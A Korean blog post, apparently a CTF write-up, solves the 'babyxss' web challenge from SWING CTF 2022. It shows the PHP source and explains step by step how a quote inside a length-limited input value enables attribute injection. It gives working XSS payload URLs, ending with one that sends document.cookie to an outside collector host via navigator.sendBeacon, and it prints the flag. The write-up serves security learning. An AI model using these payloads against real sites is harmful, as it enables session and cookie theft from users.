본문 바로가기

CTF/SWING CTF 2022

[Web] babyxss

you can report it here!

 

view source code

<?php
if(isset($_GET['src'])) {
    highlight_file(__FILE__);
    die();
}
?>
<html>
<body>
<p>
    if you succeeded execute script, you can report it <a href="report.php">here</a>!<br>
<a href="?src=1">view source code</a>
</p>
<form>
<input type="text" name="q" value="<?php echo substr($_GET['q'],0,10) ?>">
<input type="submit">
</form>

    <script>
    // var q = '<?php echo htmlspecialchars(preg_replace("/[\r\n\/]/mis", "", $_GET['q']),ENT_QUOTES) ?>'; 
    </script>
</body>

</html>

 

GET q 파라미터를 이용해 데이터를 받는데 input이 2부분에 들어간다.

하나는 input tag의 value 내부, 하나는 script tag안에 들어가게 된다.

 

input tag엔 substr을 이용해서 최대 10자까지만 들어가기 때문에,

event handler를 이용해서 cross site scripting 공격을 할 수 없다.

 

script tag 내부에선 htmlspecialchars 함수를 이용해 특수문자를 html ent_quotes로 인코딩해주기 때문에,

함수를 탈출해 script tag 내부에 함수를 삽입한다거나 하는 일이 어렵다.

필터링과 주석으로 인해 script 실행이 불가능한 상황이라고 할 수 있다.

 

script tag 내부에선 htmlspecialchars로 인해 쿼터를 쓸 수 없지만,

input tag 의 value 값에선 별다른 필터링이 존재하지 않아 쿼터를 사용할 수 있는 것을 이용하면 xss를 할 수 있다.

 

swingctf.hsapce.io:13371/?q="%20onerror="alert(1)

 

이런 식으로 넣어보면 10자 제한 때문에 onerror 까지만 들어간다.

그런데 그 뒤의 값들이 전부 하나의 value로 묶여있다.

그럼 그 부근이 전부 input tag가 된다.

이걸 잘 이용하면 그 아래 부분을 전부 value로 묶어 원하는 event handler를 삽입할 수 있다.

 

swingctf.hsapce.io:13371/?q="%20b=%27

 

이렇게 넣으면 input tag 안에 들어가는 value는 아무런 필터링이 없기 때문에

single quote 하나를 넣어주면 input tag 부터 script tag single quote까지가 b라는 attribute의 value로 묶이게 되며 이후는 패싱된다.

이걸 이용해 cross site scripting 공격을 진행한다.

 

input tag에서 single quote를 이용하여 아래 script tag까지 input tag에 포함시키고,

이후 들어가는 q 값을 이용하여 xss를 진행하면 된다는 것이다.

 

swingctf.hsapce.io:13371/?q="%20b=%27%20onfocus=alert(1)

 

이렇게 넣으면 onfocus라는 event handler 가 input tag 안에 삽입된 것을 확인할 수 있다.

 

swingctf.hsapce.io:13371/?q="%20b=%27%20onfocus=alert(1) autofocus b='

 

event handler onfocus를 사용하기 위해서 autofocus라는 event handler를 하나 더 추가해두고 원활한 공격을 위해 속성을 하나 만들어주면 스크립트를 실행할 수 있다.

 

http://swingctf.hspace.io:13371/?q=%22%20a=%27%20onfocus=alert(1)%20autofocus%20a

 

 

 

 

xss 공격의 최종 목표는 쿠키를 훔쳐오는 것이다.

 

제출했을 때 쿠키에 들어있는 플래그가 넘어오도록 하면 된다.

 

swingctf.hsapce.io:13371/?q="a=%27 onfocus=navigator.sendBeacon(`http://enllwt2ugqrt.x.pipedream.net/`,document.cookie) autofocus a

 

 

SWING{08e37ce0636ad9796900a180f2539f3110648e4f2c1b541bc0d4d3039e6b3251}

 

'CTF > SWING CTF 2022' 카테고리의 다른 글

[Web] AYAYA!  (0) 2022.12.04
[Web] under construction  (0) 2022.12.04
[Web] Baby Sign  (0) 2022.12.04
[Rev] Snail  (0) 2022.12.04
[Rev] Ransomware  (0) 2022.12.03